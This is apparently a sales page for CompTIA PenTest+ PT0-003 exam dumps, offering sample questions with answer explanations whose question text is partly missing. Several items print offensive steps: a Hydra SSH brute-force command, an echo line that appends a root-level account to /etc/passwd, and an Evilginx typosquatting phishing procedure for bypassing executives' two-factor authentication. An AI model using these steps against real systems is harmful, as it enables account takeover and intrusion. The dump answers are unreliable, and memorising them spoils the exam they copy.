- 239 Actual Exam Questions
- Compatible with all Devices
- Printable Format
- No Download Limits
- 90 Days Free Updates
Get All CompTIA PenTest+ Exam Questions with Validated Answers
Vendor: | CompTIA |
---|---|
Exam Code: | PT0-003 |
Exam Name: | CompTIA PenTest+ Exam |
Exam Questions: | 239 |
Last Updated: | April 17, 2025 |
Related Certifications: | CompTIA PenTest+ |
Exam Tags: | Cybersecurity certifications Expert Cybersecurity analystsPenetration Tester |
Looking for a hassle-free way to pass the CompTIA PenTest+ Exam? DumpsProvider provides the most reliable Dumps Questions and Answers, designed by CompTIA certified experts to help you succeed in record time. Available in both PDF and Online Practice Test formats, our study materials cover every major exam topic, making it possible for you to pass potentially within just one day!
DumpsProvider is a leading provider of high-quality exam dumps, trusted by professionals worldwide. Our CompTIA PT0-003 exam questions give you the knowledge and confidence needed to succeed on the first attempt.
Train with our CompTIA PT0-003 exam practice tests, which simulate the actual exam environment. This real-test experience helps you get familiar with the format and timing of the exam, ensuring you're 100% prepared for exam day.
Your success is our commitment! That's why DumpsProvider offers a 100% money-back guarantee. If you don’t pass the CompTIA PT0-003 exam, we’ll refund your payment within 24 hours no questions asked.
Don’t waste time with unreliable exam prep resources. Get started with DumpsProvider’s CompTIA PT0-003 exam dumps today and achieve your certification effortlessly!
[Information Gathering and Vulnerability Scanning]
A penetration tester assesses a complex web application and wants to explore potential security weaknesses by searching for subdomains that might have existed in the past. Which of the following tools should the penetration tester use?
The Wayback Machine is an online tool that archives web pages over time, allowing users to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.
Accessing the Wayback Machine:
Go to the Wayback Machine website: archive.org/web.
Enter the URL of the target website you want to explore.
Navigating Archived Pages:
The Wayback Machine provides a timeline and calendar interface to browse through different snapshots taken over time.
Select a snapshot to view the archived version of the site. Look for links, subdomains, and resources that may no longer be available in the current version of the website.
Identifying Subdomains:
Examine the archived pages for references to subdomains, which might be visible in links, scripts, or embedded content.
Use the information gathered to identify potential entry points or older versions of web applications that might still be exploitable.
Tool Integration:
Tools like Burp Suite or SpiderFoot can integrate with the Wayback Machine to automate the discovery process of archived subdomains and resources.
Real-World Example:
During a penetration test, a tester might find references to oldadmin.targetsite.com in an archived page from several years ago. This subdomain might no longer be listed in DNS but could still be accessible, leading to potential security vulnerabilities.
Reference from Pentesting Literature:
In various penetration testing guides and HTB write-ups, using the Wayback Machine is a common technique for passive reconnaissance, providing historical context and revealing past configurations that might still be exploitable.
Step-by-Step ExplanationReference:
HTB Official Writeups
[Attacks and Exploits]
A previous penetration test report identified a host with vulnerabilities that was
successfully exploited. Management has requested that an internal member of the
security team reassess the host to determine if the vulnerability still exists.
Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
* Select the appropriate set of commands to escalate privileges.
* Identify which remediation steps should be taken.
The command that would most likely exploit the services is:
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo 'root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash' >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
Remove the SUID bit from cp.
Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation
Part 1: Exploiting Vulnerable Service
Nmap Scan Analysis
Command: nmap -sC -T4 192.168.10.2
Purpose: This command runs a default script scan with timing template 4 (aggressive).
Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
Enumerating Samba Shares
Command: enum4linux -S 192.168.10.2
Purpose: To enumerate Samba shares and users.
Output:
makefile
Copy code
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
Selecting Exploit Command
Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
-l lowpriv: Specifies the username.
-P 500-worst-passwords.txt: Specifies the password list.
-t 4: Uses 4 tasks/threads for the attack.
ssh://192.168.10.2:22: Specifies the SSH service and port.
Executing the Hydra Command
Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
Finding SUID Binaries and Configuration Files
Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
Purpose: To find world-writable files.
Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
Purpose: To find files with SUID permission.
Command: grep '/bin/bash' /etc/passwd | cut -d':' -f1-4,6,7
Purpose: To identify users with bash shell access.
Selecting Privilege Escalation Command
Command: echo 'root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash' >> /etc/passwd
Purpose: To create a new root user entry in the passwd file.
root2: Username.
5ZOYXRFHVZ7OY: Password hash.
::0:0: User and group ID (root).
/root: Home directory.
/bin/bash: Default shell.
Executing the Privilege Escalation Command
Result: Creation of a new root user root2 with a specified password.
Remediation Steps Post-Exploitation
Remove SUID Bit from cp:
Command: chmod u-s /bin/cp
Purpose: Removing the SUID bit from cp to prevent misuse.
Make Backup Script Not World-Writable:
Command: chmod o-w /path/to/backup/script
Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
Verifying Hydra Attack:
Run the Hydra command and monitor for successful login attempts.
Verifying Privilege Escalation:
After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
Implementing Remediation:
Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?
To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.
Phishing with Evilginx:
Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.
It uses 'phishlets' which are configurations that simulate real login portals.
Typosquatting:
Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.co instead of example.com).
This technique tricks users into visiting the malicious domain, thinking it's legitimate.
Steps:
Configure an External Domain: Register a typosquatting domain similar to the company's domain.
Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company's mail portal.
Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.
Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and session tokens, effectively bypassing 2FA.
Pentest Reference:
Phishing: Social engineering technique to deceive users into providing sensitive information.
Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.
OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.
Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.
[Attacks and Exploits]
A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:
]>
Which of the following should the tester recommend in the report to best prevent this type of vulnerability?
This is an XML External Entity (XXE) attack, which occurs when an application processes XML input that allows external entity references. The best mitigation is to disable external entities in the XML parser.
Option A (Change file permissions) : Changing file permissions does not fix the root cause, as the vulnerability is in XML processing.
Option B (Review logs) : Logs help with detection, but do not prevent XXE attacks.
Option C (Disable external entities) : Correct.
Disabling external entity resolution in the XML parser prevents XXE attacks.
Option D (WAF) : A WAF can help block attacks, but disabling external entities is the best solution.
Reference: CompTIA PenTest+ PT0-003 Official Guide -- Web Application Attacks (XXE)
[Information Gathering and Vulnerability Scanning]
A penetration tester conducts reconnaissance for a client's network and identifies the following system of interest:
$ nmap -A AppServer1.compita.org
Starting Nmap 7.80 (2023-01-14) on localhost (127.0.0.1) at 2023-08-04 15:32:27
Nmap scan report for AppServer1.compita.org (192.168.1.100)
Host is up (0.001s latency).
Not shown: 999 closed ports
Port State Service
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
873/tcp open rsync
8080/tcp open http-proxy
8443/tcp open https-alt
9090/tcp open zeus-admin
10000/tcp open snet-sensor-mgmt
The tester notices numerous open ports on the system of interest. Which of the following best describes this system?
A honeypot is a decoy system designed to attract attackers by exposing multiple services and vulnerabilities.
Indicators of a honeypot (Option A):
The system has an unusual combination of Windows (SMB, MSRPC) and Linux (Rsync, SSH) services.
It exposes a large number of open ports, which is uncommon for a production server.
Presence of 'zeus-admin' (port 9090) suggests intentionally vulnerable services.
Incorrect options:
Option B (Windows endpoint): Windows would not normally run Rsync (873/tcp) or SSH (22/tcp).
Option C (Linux server): Linux servers typically don't have NetBIOS (139/tcp) or MSRPC (135/tcp).
Option D (Already-compromised system): Although possible, honeypots mimic compromised systems to lure attackers.
Security & Privacy
Satisfied Customers
Committed Service
Money Back Guranteed